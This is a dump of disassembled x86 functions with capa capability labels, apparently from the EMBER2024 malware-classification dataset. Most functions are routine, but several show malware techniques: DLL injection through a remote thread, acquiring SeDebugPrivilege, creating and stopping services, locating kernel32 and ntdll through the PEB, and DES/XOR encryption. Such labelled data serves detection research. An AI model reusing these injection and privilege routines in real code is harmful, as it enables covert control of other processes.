joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1008126
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x100cdf4]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], eax
xor eax, eax
xor edi, edi
inc edi
mov dword [esi], eax
cmp dword [0x101ef48], eax
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x20c], 0x100
mov dword [ebp - 0x210], edi
jne 0x1008179
push dword [0x10216a0]
call fcn.010055ba
mov ebx, eax
test ebx, ebx
jl 0x1008200
lea eax, [ebp - 0x208]
push eax
push edi
push 0
push 0x1002650
push dword [0x101ef48]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test ebx, ebx
jne 0x10081e3
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x210]
push eax
push ebx
push 0x1002624
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test ebx, ebx
jne 0x10081e3
lea eax, [ebp - 0x204]
push 0x1002618
push eax
call dword [sym.imp.msvcrt.dll_wcscmp]
test eax, eax
pop ecx
pop ecx
jle 0x10081eb
mov dword [esi], edi
test ebx, ebx
jge 0x10081eb
push ebx
call fcn.01004de1
cmp dword [ebp - 0x208], 0
je 0x1008200
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
pop ebx
call fcn.01009832
leave
ret 4
Function at 0x10099c1
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1002910
call fcn.01009be4
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x10099fc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10099fc
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1009a14
cmp eax, 0x20b
je 0x1009a01
mov dword [ebp - 0x1c], edi
jmp 0x1009a28
cmp dword [ecx + 0x84], 0xe
jbe 0x10099fc
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1009a22
cmp dword [ecx + 0x74], 0xe
jbe 0x10099fc
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x10226d0], 0xffffffff
or dword [0x10226d4], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1020f6c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1020f68]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x10226d8], eax
call fcn.01009bdc
cmp dword [0x100ce00], edi
jne 0x1009a83
push fcn.01009bdc
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01009bc5
push 0x100b010
push 0x100b00c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1020f64]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1020f60]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x34], eax
push 0x100b008
push section..data
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___winitenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.01004077
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], edi
jne 0x1009afa
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1009b2f
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01009c1f
ret
Function at 0x401564
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401576
mov eax, dword [0x4ce08b]
shl eax, 2
mov dword [0x4ce08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004c029c
pop edx
call fcn.004c0200
call fcn.004c02dc
push 0
call fcn.004c1960
pop ecx
push 0x4ce034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x4ce093], eax
push 0
jmp fcn.004c8378

Function at 0x40acc4
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [esp + 4], 5
jne 0x40ace9
cmp dword [esp + 8], 1
jne 0x40ace9
mov al, 1
jmp 0x40aceb
xor eax, eax
add esp, 0x94
ret

Function at 0x4141d0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
mov ebx, 0x6a29e4
lea esi, [ebp - 0x24]
mov eax, 0x4deec4
call fcn.004c0cc0
mov word [esi + 0x10], 8
xor edx, edx
xor ecx, ecx
mov dword [0x6a29e0], edx
xor eax, eax
inc dword [esi + 0x1c]
mov dword [ebx], ecx
inc dword [esi + 0x1c]
mov dword [ebx + 4], eax
inc dword [esi + 0x1c]
xor edx, edx
mov dword [ebx + 8], edx
xor ecx, ecx
inc dword [esi + 0x1c]
mov dword [ebx + 0xc], ecx
inc dword [esi + 0x1c]
xor eax, eax
mov dword [ebx + 0x10], eax
xor edx, edx
inc dword [esi + 0x1c]
mov dword [ebx + 0x14], edx
inc dword [esi + 0x1c]
xor ecx, ecx
mov dword [ebx + 0x18], ecx
xor eax, eax
inc dword [esi + 0x1c]
mov dword [ebx + 0x1c], eax
inc dword [esi + 0x1c]
xor edx, edx
mov dword [ebx + 0x20], edx
xor ecx, ecx
inc dword [esi + 0x1c]
mov dword [ebx + 0x24], ecx
inc dword [esi + 0x1c]
xor eax, eax
mov dword [ebx + 0x28], eax
xor edx, edx
inc dword [esi + 0x1c]
mov dword [ebx + 0x30], edx
inc dword [esi + 0x1c]
xor ecx, ecx
mov dword [ebx + 0x38], ecx
xor eax, eax
inc dword [esi + 0x1c]
mov dword [ebx + 0x3c], eax
inc dword [esi + 0x1c]
inc dword [esi + 0x1c]
xor edx, edx
mov dword [0x6a2a28], edx
xor ecx, ecx
inc dword [esi + 0x1c]
mov dword [0x6a2a2c], ecx
inc dword [esi + 0x1c]
mov eax, dword [esi]
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414294
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
mov ebx, 0x6a29e4
lea esi, [ebp - 0x24]
mov eax, 0x4deed8
call fcn.004c0cc0
dec dword [esi + 0x1c]
mov eax, 0x6a2a2c
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
mov eax, 0x6a2a28
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
dec dword [esi + 0x1c]
lea eax, [ebx + 0x3c]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x38]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x30]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x28]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x24]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x20]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x1c]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x18]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x14]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0x10]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 0xc]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 8]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebx + 4]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
mov eax, ebx
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
mov eax, 0x6a29e0
mov edx, 2
call fcn.004cc874
mov ecx, dword [esi]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414678
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov eax, 0x4df4bc
push ebx
push esi
push edi
lea edi, [ebp - 0x40]
mov esi, dword [ebp + 8]
call fcn.004c0cc0
mov word [edi + 0x10], 8
mov edx, 0x4deee7
lea eax, [ebp - 4]
call fcn.004cc624
inc dword [edi + 0x1c]
mov edx, dword [eax]
push edx
call fcn.0043e29c
pop ecx
dec dword [edi + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004cc874
push 0x4deef0
call fcn.00414ec4
pop ecx
cmp al, 1
jne 0x41476d
mov word [edi + 0x10], 0x14
mov edx, 0x4deef4
lea eax, [ebp - 8]
call fcn.004cc624
inc dword [edi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [edi + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004cc874
push esi
call fcn.00414880
pop ecx
test al, al
je 0x41473e
mov word [edi + 0x10], 0x20
mov edx, 0x4def07
lea eax, [ebp - 0xc]
call fcn.004cc624
inc dword [edi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [edi + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004cc874
jmp 0x41476d
mov word [edi + 0x10], 0x2c
mov edx, 0x4def1a
lea eax, [ebp - 0x10]
call fcn.004cc624
inc dword [edi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [edi + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004cc874
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov ebx, eax
test ebx, ebx
je 0x4147fb
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push 1
cmp byte [ebp + 0x10], 1
jne 0x41479e
mov edx, 3
jmp 0x4147a3
mov edx, 2
push edx
push 1
push 0xf01ff
push esi
push esi
push ebx
call sub.ADVAPI32.DLL_CreateServiceA
mov esi, eax
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
test esi, esi
jne 0x414837
mov word [edi + 0x10], 0x38
mov edx, 0x4def2d
lea eax, [ebp - 0x14]
call fcn.004cc624
inc dword [edi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [edi + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004cc874
xor eax, eax
mov edx, dword [edi]
mov dword fs:[0], edx
jmp 0x414877
mov word [edi + 0x10], 0x44
mov edx, 0x4def3a
lea eax, [ebp - 0x18]
call fcn.004cc624
inc dword [edi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [edi + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004cc874
xor eax, eax
mov edx, dword [edi]
mov dword fs:[0], edx
jmp 0x414877
mov word [edi + 0x10], 0x50
mov edx, 0x4def5b
lea eax, [ebp - 0x1c]
call fcn.004cc624
inc dword [edi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [edi + 0x1c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004cc874
push esi
call sub.ADVAPI32.DLL_CloseServiceHandle
mov al, 1
mov edx, dword [edi]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414ec4
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov ebx, eax
test ebx, ebx
je 0x414f1b
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push ebx
call sub.ADVAPI32.DLL_OpenServiceA
mov esi, eax
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
test esi, esi
je 0x414f17
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call sub.ADVAPI32.DLL_ControlService
test eax, eax
push esi
setne bl
and ebx, 1
call sub.ADVAPI32.DLL_CloseServiceHandle
jmp 0x414f1f
xor eax, eax
jmp 0x414f21
xor eax, eax
jmp 0x414f21
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414fb8
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov eax, 0x4df7bc
push ebx
call fcn.004c0cc0
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004cc65c
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
push 1
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov ebx, eax
test ebx, ebx
je 0x4150a1
push 0xf01ff
cmp dword [ebp + 8], 0
je 0x415009
mov eax, dword [ebp + 8]
jmp 0x41500e
mov eax, 0x4df2f8
push eax
push ebx
call sub.ADVAPI32.DLL_OpenServiceA
test eax, eax
je 0x41507b
lea edx, [ebp - 0x40]
push edx
push eax
call sub.ADVAPI32.DLL_QueryServiceStatus
cmp dword [ebp - 0x3c], 4
jne 0x415052
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
mov eax, 1
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004cc874
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x4150bf
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
mov eax, 2
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004cc874
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x4150bf
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004cc874
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x4150bf
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp + 8]
dec dword [ebp - 8]
call fcn.004cc874
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416cfc
Capabilities:
Acquire debug privileges
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffbc
push ebx
push esi
push edi
mov byte [ebp - 0x1c], dl
test dl, dl
jle 0x416d18
call fcn.004cd4d0
mov ebx, ecx
mov byte [ebp - 0x3d], dl
mov dword [ebp - 4], eax
lea esi, [ebp - 0x3c]
mov eax, 0x4e2b28
call fcn.004c0cc0
mov word [esi + 0x10], 8
mov ecx, ebx
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.004749f4
add dword [esi + 0x1c], 2
mov eax, dword [ebp - 4]
add eax, 0x34
xor edx, edx
mov dword [eax], edx
inc dword [esi + 0x1c]
mov eax, dword [ebp - 4]
add eax, 0x38
xor edx, edx
mov dword [eax], edx
inc dword [esi + 0x1c]
mov eax, dword [ebp - 4]
call fcn.004176b4
push esi
lea edi, [ebp - 0x1044]
mov esi, 0x4e02bc
mov ecx, 0x400
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x1044]
push 0x1000
push eax
push 0x4e28e8
call sub.KERNEL32.DLL_GetEnvironmentVariableA
mov word [esi + 0x10], 0x14
lea edx, [ebp - 0x1044]
lea eax, [ebp - 0xc]
call fcn.004cc624
inc dword [esi + 0x1c]
mov edx, dword [eax]
push edx
call fcn.0043e29c
pop ecx
dec dword [esi + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004cc874
push 0
push 0
push 1
push 0
call sub.KERNEL32.DLL_CreateEventA
mov ecx, dword [ebp - 4]
mov edx, str.im32.dll
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 0
mov word [esi + 0x10], 0x20
lea eax, [ebp - 0x10]
call fcn.004cc624
inc dword [esi + 0x1c]
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
add eax, 0x34
call fcn.004cc8a4
dec dword [esi + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004cc874
mov word [esi + 0x10], 0x2c
xor ecx, ecx
mov dl, 1
mov dword [ebp - 8], ecx
inc dword [esi + 0x1c]
mov word [esi + 0x10], 0x38
mov eax, dword [0x469edc]
call fcn.00404620
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x30], eax
lea eax, [ebp - 0x44]
push eax
push 0xf01ff
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.ADVAPI32.DLL_OpenProcessToken
test eax, eax
je 0x416ea8
push 1
lea edx, [ebp - 8]
push edx
mov ecx, str.SeDebugPrivilege
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.00417298
push 1
lea ecx, [ebp - 8]
push ecx
mov ecx, str.SeSecurityPrivilege
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.00417298
mov word [esi + 0x10], 0x44
mov edx, 0x4e291b
lea eax, [ebp - 0x14]
call fcn.004cc624
inc dword [esi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [esi + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004cc874
jmp 0x416eee
call sub.KERNEL32.DLL_GetLastError
push eax
push str.OpenProcessToken_Error__u_n
lea ecx, [ebp - 8]
push ecx
call fcn.004ccaac
mov word [esi + 0x10], 0x50
add esp, 0xc
mov edx, 0x4e2958
lea eax, [ebp - 0x18]
call fcn.004cc624
inc dword [esi + 0x1c]
mov ecx, dword [eax]
push ecx
call fcn.0043e29c
pop ecx
dec dword [esi + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004cc874
dec dword [esi + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004cc874
mov word [esi + 0x10], 8
mov ecx, dword [esi]
mov dword fs:[0], ecx
mov eax, dword [ebp - 4]
cmp byte [ebp - 0x3d], 0
je 0x416f1b
call fcn.004cd4dd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4170ac
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], ecx
mov esi, edx
mov ebx, eax
mov ecx, str.KernelUtil.dll
mov edx, esi
mov eax, ebx
call fcn.004175dc
test eax, eax
jne 0x4170d4
mov eax, 1
jmp 0x4171f5
lea eax, [ebx + 0x34]
cmp dword [eax], 0
je 0x4170e0
mov ecx, dword [eax]
jmp 0x4170e5
mov ecx, 0x4e2988
mov edx, esi
mov eax, ebx
call fcn.004175dc
test eax, eax
je 0x4170f9
xor eax, eax
jmp 0x4171f5
push str.LoadLibraryA
push 0x4e2989
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov ebp, eax
test ebp, ebp
jne 0x41711c
or eax, 0xffffffff
jmp 0x4171f5
push esi
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
test ebx, ebx
jne 0x417137
or eax, 0xffffffff
jmp 0x4171f5
mov edx, dword [esp]
push edx
call fcn.004c08dc
pop ecx
mov edi, eax
inc edi
push 4
push 0x1000
push edi
push 0
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
test esi, esi
jne 0x417168
push ebx
call sub.KERNEL32.DLL_CloseHandle
or eax, 0xffffffff
jmp 0x4171f5
push 0
push edi
mov edx, dword [esp + 8]
push edx
push esi
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
test eax, eax
setne al
and eax, 1
test al, al
jne 0x41719c
push 0x8000
push 0
push esi
push ebx
call sub.KERNEL32.DLL_VirtualFreeEx
push ebx
call sub.KERNEL32.DLL_CloseHandle
or eax, 0xffffffff
jmp 0x4171f5
push 0
push 0
push esi
push ebp
push 0
push 0
push ebx
call sub.KERNEL32.DLL_CreateRemoteThread
mov edi, eax
test edi, edi
jne 0x4171cb
push 0x8000
push 0
push esi
push ebx
call sub.KERNEL32.DLL_VirtualFreeEx
push ebx
call sub.KERNEL32.DLL_CloseHandle
or eax, 0xffffffff
jmp 0x4171f5
push 0x7d0
push edi
call sub.KERNEL32.DLL_WaitForSingleObject
push 0x8000
push 0
push esi
push ebx
call sub.KERNEL32.DLL_VirtualFreeEx
push ebx
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, 1
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4171fc
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], ecx
mov ebp, edx
mov edi, eax
push str.FreeLibraryA
push str.Kernel32
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov esi, eax
test esi, esi
jne 0x417228
or eax, 0xffffffff
jmp 0x417291
push ebp
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
test ebx, ebx
jne 0x417240
or eax, 0xffffffff
jmp 0x417291
mov ecx, dword [esp]
mov edx, ebp
mov eax, edi
call fcn.004175dc
test eax, eax
jne 0x41725a
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x417291
push 0
push 0
push eax
push esi
push 0
push 0
push ebx
call sub.KERNEL32.DLL_CreateRemoteThread
mov esi, eax
test esi, esi
jne 0x41727b
push ebx
call sub.KERNEL32.DLL_CloseHandle
or eax, 0xffffffff
jmp 0x417291
push 0xffffffffffffffff
push esi
call sub.KERNEL32.DLL_WaitForSingleObject
push ebx
call sub.KERNEL32.DLL_CloseHandle
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4175dc
Capabilities:
Enumerate process modules

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffcd8
mov dword [esp], ecx
push edx
push 8
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4175fe
xor eax, eax
jmp 0x4176a9
mov dword [esp + 4], 0x224
lea edx, [esp + 4]
push edx
push ebx
call sub.KERNEL32.DLL_Module32First
dec eax
je 0x417621
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4176a9
lea edi, [esp + 0x228]
mov esi, 0x4e17e4
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [esp + 0x24]
or ecx, 0xffffffff
lea esi, [esp + 0x228]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x228]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x20]
push eax
call fcn.004c08dc
pop ecx
push eax
mov edx, dword [esp + 4]
push edx
lea ecx, [esp + 0x230]
push ecx
call fcn.004c0a54
add esp, 0xc
test eax, eax
jne 0x417692
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, esi
jmp 0x4176a9
lea edx, [esp + 4]
push edx
push ebx
call sub.KERNEL32.DLL_Module32Next
test eax, eax
jne 0x417621
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
add esp, 0x328
pop edi
pop esi
pop ebx
ret
Function at 0x418680
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push 0x30
push 0x4e31bc
push esi
push 0x6a2aec
push ebx
call fcn.00418748
add esp, 0x14
push 0x30
mov eax, dword [ebp + 0x10]
push eax
push 0x6a2aec
push ebx
call fcn.00418790
add esp, 0x10
push 0x6a2aec
push esi
push ebx
call fcn.004186dc
add esp, 0xc
push 0x20
push 0x4e31ec
push esi
push esi
push ebx
call fcn.00418748
add esp, 0x14
pop esi
pop ebx
pop ebp
ret

Function at 0x4186dc
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
jmp 0x41873b
mov dl, byte [esi + 1]
mov cl, byte [esi + 2]
shl ecx, 2
mov al, byte [esi]
shl edx, 3
add eax, eax
add dl, cl
mov cl, byte [esi + 3]
add al, byte [esi + 5]
add ecx, ecx
add dl, cl
movsx ecx, bl
movsx eax, al
add dl, byte [esi + 4]
movsx edx, dl
shl eax, 4
push 4
shl ecx, 6
add ecx, eax
add ecx, edx
add ecx, 0x4e3284
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004187b8
add esp, 0x10
inc ebx
add esi, 6
add dword [ebp + 0xc], 4
movsx ecx, bl
cmp ecx, 8
jl 0x4186e8
pop esi
pop ebx
pop ebp
ret

Function at 0x418790
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
xor ecx, ecx
mov eax, dword [ebp + 0xc]
mov edx, eax
mov eax, dword [ebp + 0x10]
cmp esi, ecx
jle 0x4187b1
mov bl, byte [eax]
xor byte [edx], bl
inc ecx
inc edx
inc eax
cmp esi, ecx
jg 0x4187a6
pop esi
pop ebx
pop ebp
ret
Function at 0x43d9b8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
lea ebx, [ebp - 0x40]
mov eax, 0x5fd95c
call fcn.004c0cc0
mov word [ebx + 0x10], 8
mov edx, dword [ebp - 4]
xor ecx, ecx
lea edi, [ebp - 0x144]
mov esi, 0x5ed650
mov dword [edx], ecx
mov ecx, 0x41
inc dword [ebx + 0x1c]
mov eax, dword [ebp - 4]
mov byte [eax + 4], 0
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x144]
push 0x104
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebx + 0x10], 0x20
lea edx, [ebp - 0x144]
lea eax, [ebp - 8]
call fcn.004cc624
inc dword [ebx + 0x1c]
mov edx, 0x5fd88b
mov word [ebx + 0x10], 0x14
mov word [ebx + 0x10], 0x2c
lea eax, [ebp - 0xc]
call fcn.004cc624
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x10]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.004cc8cc
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.004cc8a4
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004cc874
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004cc874
mov word [ebx + 0x10], 0x38
xor ecx, ecx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ecx
push eax
inc dword [ebx + 0x1c]
lea eax, [ebp - 8]
mov ecx, 2
mov edx, 1
call fcn.004cccb8
lea eax, [ebp - 0x14]
push eax
mov edx, 0x5fd88d
lea eax, [ebp - 0x18]
call fcn.004cc624
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x1c]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x18]
pop eax
call fcn.004cc8cc
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.004cc8a4
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004cc874
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004cc874
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004cc874
dec dword [ebx + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004cc874
mov word [ebx + 0x10], 8
mov ecx, dword [ebx]
mov dword fs:[0], ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret